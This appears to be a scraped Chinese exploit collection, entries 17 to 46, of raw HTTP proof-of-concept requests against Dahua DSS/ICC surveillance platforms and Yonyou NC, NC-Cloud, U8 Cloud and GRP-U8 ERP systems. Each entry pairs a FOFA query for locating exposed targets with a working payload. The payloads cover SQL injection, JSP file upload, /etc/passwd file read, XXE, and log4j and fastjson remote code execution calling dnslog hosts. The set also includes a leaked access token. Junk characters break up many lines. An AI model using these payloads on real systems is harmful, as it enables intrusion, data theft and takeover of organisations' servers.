; W/ {* |, b. u0 i$ R2 MGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
0 P; m$ q" F. Q& @Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
+ c, X5 N8 ^0 V: r9 \Connection: close
, W8 {* d2 J1 MAccept: */*
Accept-Language: en
* B7 ~' P4 K: eAccept-Encoding: gzip
* f, g6 J6 E$ d% K# j% e
4 c% m9 o- T7 s- v2 v
6 y* S) R/ V) @- |  j17. 大华 DSS itcBulletin SQL 注入
0 M' V) G5 D5 Y7 [6 c' B" SFOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
3 B5 B: k* M* f1 X0 mHost: x.x.x.x
, H6 U( `% S1 d: h, JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
' ?3 D3 o, v# R) m2 O* DContent-Length: 345
Accept-Encoding: gzip
+ Q, ^& e9 z, r& Q$ I# E
1 }2 H$ l! b8 m7 p4 P<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
- Z1 y' i) W* b, y+ R1 x  G<s11:Body>
5 k6 s( d! N! n2 l" E    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
    </ns1:deleteBulletin>
  </s11:Body>
</s11:Envelope>


' a4 h5 b/ h4 Y3 Q! @18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
, R0 F, _2 u; r8 MGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
2 H1 e, x( ^9 H+ T/ G5 K; QHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
1 ^2 [0 x' O* lAccept: */*
Connection: keep-alive

# V! q7 _2 H* X" h/ C4 f! ]

19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
/ W8 n' ?# R' m1 @- S) [7 P9 LHost:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
$ ?7 F: s7 C  z8 K1 N, {1 `Accept-Encoding: gzip, deflate
Accept: */*
" c  O( l7 {8 vConnection: keep-alive

: Y  b& H/ d3 Q5 p& z0 O- d
0 U1 e9 |# R2 v& ?( Z20. 大华ICC智能物联综合管理平台任意文件读取
; L; Z1 T5 T! o9 q2 j5 q, k' W; XFOFA：body="*客户端会小于800*"
/ A/ Q! E# f7 `% DGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
" b3 i( ]+ X. ^; |. vHost: x.x.x.x
( x  A+ N2 Q8 e  V+ R8 }! lUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

/ p9 i; ]" o# y6 Y1 O
3 [. ?3 ~9 R( T# B: Y  V2 D21. 大华ICC智能物联综合管理平台random远程代码执行
8 s, t! `( M3 q9 i5 tFOFA：icon_hash="-1935899595"
: G2 D6 _% V1 i1 z) BPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
, j, {1 A# w4 y/ P0 f0 l" D. }( OHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
; J7 {# _; l2 _Content-Length: 161
8 m* c  p& N& yAccept-Encoding: gzip
0 _; [8 S, h+ }& t2 v; x( HConnection: close
3 d1 Z" M7 v" i; o, N( \5 KContent-Type: application/json;charset=utf-8

{
"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
& v0 Q! s. H! I. d* S    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
9 S& G2 M$ B0 t! V) T: C2 j# l  }""
+ @* A. y# D/ F2 \}

5 N, p; Q) t+ U$ W% q# s" |" d
5 }. m9 r5 C* d2 g+ S2 u22. 大华ICC智能物联综合管理平台 log4j远程代码执行
& m' ?- `: l' B/ {4 u+ t" I% p8 ^& WFOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
$ c8 ?0 ]1 V5 x' XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
) ?7 S) A7 ]0 l2 Y+ ^7 Y8 SContent-Type: application/json;charset=utf-8
3 g$ B! `1 f$ p* M8 A
% r% u6 b% K1 J& |{
. L0 i7 B  [, f. e: J( i+ ~( ]0 e"loginName":"${jndi:ldap://dnslog}"
& e8 Z; A# S9 h* M2 \}
6 D7 y1 y' k0 [' o& C


23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
% w7 }6 `* m- Q- o0 z0 N- @+ u9 BContent-Type: application/json;charset=utf-8
$ W+ {% q, y* F: v. o/ }, YAccept-Encoding: gzip
) U- N# Q$ \' t+ d# L) e% L1 ZConnection: close
$ @* W0 n9 q( l' f
6 {6 y! h/ `, x+ Z) s{
, D3 ]* n4 C- i    "a":{
6 @% y6 a7 u& z% E% i& I  E9 d: @5 \        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
/ @4 k: h7 r* H% `4 U; F        }""
" Q# I; {2 k5 C' J" ^}

+ }: W5 y  V0 ^! T7 p1 v$ a) D
  X/ P+ y' l* B% Q( R8 `( K8 v24. 用友NC 6.5 accept.jsp任意文件上传
6 U! S+ ]. O/ u& E" @/ [6 k0 ~FOFA：icon_hash="1085941792"
* c/ k0 v8 s. z- d* \POST /aim/equipmap/accept.jsp HTTP/1.1
9 r0 s- i4 W; u8 m7 N7 lHost: x.x.x.x
% D- f, a# G5 o, s$ R8 BUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
- m8 y0 w; [. D1 w9 P0 {Content-Length: 449
Accept: */*
Accept-Encoding: gzip
5 b% H1 e' g" PContent-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

1 |, j) j; i# X% S* }-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
2 N- l. R# J, s5 _: NContent-Type: text/plain
& r& H7 f' Z. d. @
  c+ M0 e0 e0 e% M<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
4 R5 o9 ?5 l$ _. \4 ~2 ]-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"

\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
+ ~! r) I5 o, z* @2 m-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
( s% U7 K* K$ {/ U! \

25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
2 h& H* k' \8 u6 J! fPOST /portal/registerServlet HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
& `/ r( H' C+ p% a& m6 V0 ~Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
+ {7 E- X' ~( }3 c# l* n% V' G. JContent-Type: application/x-www-form-urlencoded
3 O8 i) }" L3 [! L3 a
type=1&dsname=ldap://dnslog
$ U% O: s+ q* P& C9 @

3 |% m0 ?8 [. f' n2 Q! h1 ~
) E' e- y1 a0 N( q8 y7 B6 d6 h26. 用友NC linkVoucher SQL注入
/ }0 Z% b) O/ N+ x3 Z. M% \$ SFOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
2 _4 e; k5 g0 c* p. |- f6 SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
& z  b7 K4 ?2 s  NContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

7 P+ N5 z( g$ D- q
) g$ a5 A5 ]2 p3 ^" Y5 F) I27. 用友 NC showcontent SQL注入
1 i: N7 ]- W/ S$ c- RFOFA：icon_hash="1085941792"
( w% x% B+ ^3 _) N* ~) gGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
1 _4 O% f: @3 R( A0 u$ m3 R, hHost: your-ip
) Z2 W" Q5 N& E/ [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
& Q+ w; a( ]& b2 UAccept-Encoding: identity
Connection: close
Content-Type: text/xml; charset=utf-8

# g9 h; j/ ^1 t& [; }
) L  p- C5 a/ p28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
7 S/ f. x- x" B; \/ D( Y8 DPOST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
6 p/ A$ H5 ?+ e' Y7 V9 mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
Content-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
. X  {' {0 }5 K7 C& e& q; y* KAccept-Encoding: gzip
  V8 }- J! R4 e2 a  k. a7 q# K4 R
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
; {* ~6 Q. ?9 \- t. v& c0 wContent-Type: application/octet-stream

<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--

; `! F; D# F/ s6 L- K
/ t8 v2 p5 Z7 E/uapim/static/pages/nc/head.jsp
" _8 i$ p3 L4 h. I4 p- T! ?2 m
29. 用友NC down/bill SQL注入
9 A% I; ?9 G2 D" C! ZFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
9 O$ ^8 \* w+ \( d6 v& XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
( s6 m/ d! i$ L. S% S$ J
2 B- v- F$ w! [
30. 用友NC importPml SQL注入
- k1 l9 g# Z& g0 {; z" r) ?, NFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
% b- a7 A/ F9 C; l# CPOST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
% B* E* H' A+ {, F& x0 ?+ BHost: your-ip
, d' ]5 l6 t0 e. }0 aContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
' \& l# ?3 J% [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
- h/ K7 g; `) E: @- T, B% }Connection: close

------WebKitFormBoundaryH970hbttBhoCyj9V
5 k; b2 e& L$ H0 o3 T: I. n& jContent-Disposition: form-data; name="Filedata"; filename="1.jpg"
, ~' A+ \. j# S3 yContent-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--

& F0 {: }, T: c" n
1 |) g9 J& i% o3 L8 O9 m! p) m0 F31. 用友NC runStateServlet SQL注入
! i2 {" m3 F% V! @- f! \version<=6.5
# \8 Q1 e& _, `' lFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
9 a, ]4 L, X) D! e! R* `Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
; y  ^7 ]6 G" v1 B, a# @Content-Type: application/x-www-form-urlencoded

7 }& m5 L6 `+ Z. O+ t$ p. C
32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
FOFA：app="用友-UFIDA-NC"
+ }' e) r8 a4 [2 w0 U8 TGET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
2 a& z, I  h/ Q6 |& [1 r  [: sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
) N; ^  }' W/ Q- A1 H0 w# R  aAccept-Encoding: gzip, deflate
Accept: */*
9 |( T) i3 B+ y) UConnection: keep-alive
9 V! Z6 [( V# Q+ E6 j

: \" R- D% D) c( [" y/ f33. 用友NC downTax/download SQL注入
  B! r. p/ l* [* t( p6 {version：NC6.5FOFA：app="用友-UFIDA-NC"
GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
# a4 ]: W. o5 }$ rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
# N0 O$ V0 D# n# S9 T7 IContent-Type: application/x-www-form-urlencoded
* E% J- f  K% BAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
' W, H; _' n2 \( _! w" H! b
# _) W4 U# r" V6 \* P# ?3 r, b
34. 用友NC warningDetailInfo接口SQL注入
' r/ ]& X1 l4 G# {, z* SFOFA：app="用友-UFIDA-NC"
4 W  |6 l6 I$ gGET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
: Z0 B7 W+ ?  O/ g3 X$ F6 dContent-Type: application/x-www-form-urlencoded
) u, U9 W6 ?; e: qAccept-Encoding: gzip, deflate
* _" A$ `. R" \3 P- p1 LAccept: */*
" ?# d: B3 E3 ~0 r6 TConnection: keep-alive

2 s' w) f0 O0 r7 Y% i0 g" i' z3 Y
, d3 f0 E$ _  f5 W" V35. 用友NC-Cloud importhttpscer任意文件上传
  x. x+ X' O+ L5 dFOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
# o# m6 e1 o1 Q# p0 ?2 j5 x; zAccept-Encoding: gzip, deflate
! p; n; y; a5 ]9 x0 o0 _Accept: */*
: o* m7 g( I( i  bConnection: close
0 w# t6 }/ ]  d( C2 U. UaccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
) B! ^7 Q# \4 MContent-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
( }+ [7 C+ F: Z' j, i# e+ M
--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

<%out.println(1111*1111);%>
! s8 f5 L: H, u5 C7 K* Q* l--fd28cb44e829ed1c197ec3bc71748df0--
# y0 F. b/ w6 T3 I5 ~8 Q2 `
0 R/ r( ~3 Z  V! C
36. 用友NC-Cloud soapFormat XXE
/ r' L, E/ o! U$ ?- XFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
7 F. o' q" L  [( L3 k5 Y1 ]* KHost: 192.168.40.130:8989
1 ]2 u% y( ]% y, BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
, _; z2 n+ J1 N6 oContent-Length: 263
+ [; e+ z0 F$ KAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
: b* c( |: }/ H! ^/ K4 x, ]Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
7 C% [3 F7 X( Y" ]8 r% d
) X; \2 f% l0 `0 {5 i3 ]msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
8 o. l: S( J+ E8 K! T* K( M

37. 用友NC-Cloud IUpdateService XXE
' E5 Z. G5 K2 D: ], `FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
8 L, A9 z9 K/ U+ e0 J* [POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
3 |6 A5 q: n- n8 OAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: text/xml;charset=UTF-8
9 B" U0 R& u* S; vSOAPAction: urn:getResult
, @- I" N  L0 n* r/ O4 gUpgrade-Insecure-Requests: 1

; {& i) L$ p& i' Y6 J) M7 O# ^<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
<soapenv:Body>
<iup:getResult>
<!--type: string-->
4 X+ V* X* P; z+ ^: w; y6 g2 M/ z7 K<iup:string><![CDATA[
& r0 H& O2 w; q<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
6 o8 f; }, z+ X& h0 b; N<xxx/>]]></iup:string>
</iup:getResult>
</soapenv:Body>
) F9 ^/ t; I% K/ E: o</soapenv:Envelope>


8 Q2 W' C- S6 z, F: r2 }
38. 用友U8 Cloud smartweb2.RPC.d XXE
6 ^( s$ i; g' g7 L/ D' L/ @) b# LFOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
. f9 @2 Q! ]) A* ~6 [& X0 `: _Host: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
  D/ H* l. [8 w$ z  ?0 S/ JAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
6 T5 G1 `, g5 o+ @; lConnection: close
# Y' \' v0 v- R. m/ DContent-Type: application/x-www-form-urlencoded

9 F; N* c) Y  }3 n__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
# V! P+ j* C' I& D  s

9 Z9 x1 R9 a2 B, c1 d39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
7 m% L9 o2 g1 ]+ j# |4 y5 f6 VPOST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
$ ^1 \. K7 R% _) i, p6 A4 E. u  y! |User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
( r8 H# n+ N* z6 l4 h' q( IConnection: close
: f" l" y8 R8 u8 U! d. {* Z; qContent-Length: 85
% m" v2 s+ a# J. L4 s5 mAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
" l& N4 q7 r0 BX-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip
  \' _" _1 |5 E- a
- A# e1 L. j5 K. y( w8 _usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
7 C6 T6 ^; `, L0 U* B9 k( c

40. 用友U8-Cloud XChangeServlet XXE
$ \2 G# d/ p% j: LFOFA：app="用友-U8-Cloud"
: n+ Q; }6 O) g/ E5 X' a. ^POST /service/XChangeServlet HTTP/1.1
( Z: \9 a9 d1 F  Y% ?% o- {9 CHost: x.x.x.x
) c0 I' ?" j* b) s0 S, Y# NUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
( C' S/ l. o) I4 @& s3 r6 w, U. tContent-Type: text/xml
1 z5 X" P( z+ I( Z3 e' O& NConnection: close
, E! I4 z/ n  q: }5 k+ ^+ l
<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>


. G+ N1 R1 ~$ N41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
# H: J5 u  S4 ?+ |4 Q* q  J3 G( {FOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
+ M) l. ^/ a8 D( z7 h# K6 THost:
/ L0 k, p9 y0 qUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
9 C1 }* T+ e2 u6 DAccept-Encoding: gzip
% g1 ]3 Z1 k+ G% G* l0 Y8 oConnection: close
( Q2 H& W9 p5 h0 r
! n# b8 ^0 z1 {1 E& B: k- T
42. 用友GRP-U8 SmartUpload01 文件上传
7 h+ }( O) a9 L+ Y6 J2 O: D$ l; S4 AFOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
  v+ a9 h) ^3 ^7 nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
. S% Q6 S4 }- M. LUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
: |* V% C' w! s" O* U; {
PAYLOAD


http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

43. 用友GRP-U8 userInfoWeb SQL注入致RCE
! T' Y# E8 r( o4 {7 |% ]& q6 tFOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
Host: your-ip
4 \8 ~) T& f/ A- S3 o9 ?, aUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
; k0 L+ I% ]( }  S+ i; v% DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
  D* X6 \/ s% e9 x; Q# S2 m! Z- MAccept-Language: zh-CN,zh;q=0.9
Connection: close
2 ?& s/ F  z* `7 c2 P8 P& s7 }8 mSOAPAction:
Content-Type: text/xml;charset=UTF-8
; v" _! R# s. z5 d5 F' V9 g
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
2 n. Q5 Y* t" a: I4 b) ]2 Y   <soapenv:Header/>
   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
2 P3 x2 t  M8 l3 ?         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
( N5 X! z8 S  s  ?      </ser:getUserNameById>
4 b; c2 h. W- |% W+ T   </soapenv:Body>
( T9 g* u( d. M! y% ^3 g</soapenv:Envelope>
1 V* Z& T9 u: V( \* q
; |. D& T7 {: N/ }
, @7 L+ v$ B1 W( n1 i$ h' t44. 用友GRP-U8 bx_dj_check.jsp SQL注入
9 h, D& E/ j3 D/ y  bFOFA:app="用友-GRP-U8"
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
/ N2 _. D" k$ V' d6 MHost: your-ip
4 t/ p7 [' b$ IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
; N0 [% _0 W# v) KAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


45. 用友GRP-U8 ufgovbank XXE
$ }# n, L6 [6 t& t& x/ EFOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
; o1 R* Q( U8 W6 O- D) J9 E4 fHost: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
9 J1 L0 h% Z& U  X- Y4 ?' cConnection: close
9 H- T! r. X% w# @. ~* @/ l. f( VContent-Length: 161
, ^, u2 y! F8 r. _3 ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 z+ f: f5 I$ h  d" h, u7 Q$ b# uContent-Type: application/x-www-form-urlencoded
5 X! B2 w& P+ l/ ^( FAccept-Encoding: gzip
6 g; S' F! h. \# D# m5 d, D
& y( l0 d: M$ U, `8 F0 X3 b8 E; VreqData=<?xml version="1.0"?>
- M6 }7 H" P; t<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
4 ?/ d, C) V& C% K! M. Q+ r8 }! {
; |3 `7 e, J) |: c1 E
* h7 b. W9 u( f1 L" |" y( O46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
